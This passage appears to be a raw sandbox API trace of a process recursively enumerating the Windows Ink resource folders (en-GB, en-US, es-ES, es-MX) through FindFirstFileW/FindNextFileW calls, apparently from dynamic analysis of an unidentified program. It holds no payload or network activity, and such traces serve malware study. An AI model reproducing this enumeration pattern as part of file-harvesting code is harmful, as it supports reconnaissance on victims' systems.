dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.739] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.739] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.739] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0054.739] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.739] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0054.739] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0054.739] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.739] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.740] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.740] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0054.740] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.740] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.740] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0054.741] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="join.avi", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="split.avi", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0054.743] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.743] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0054.743] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0054.743] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0054.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.743] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0054.744] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260100 [0054.744] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.744] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.744] FindNextFileW (in: hFindFile=0x4260100, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.744] FindClose (in: hFindFile=0x4260100 | out: hFindFile=0x4260100) returned 1 [0054.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.744] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0054.744] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0054.745] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.745] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.745] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.745] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0054.745] 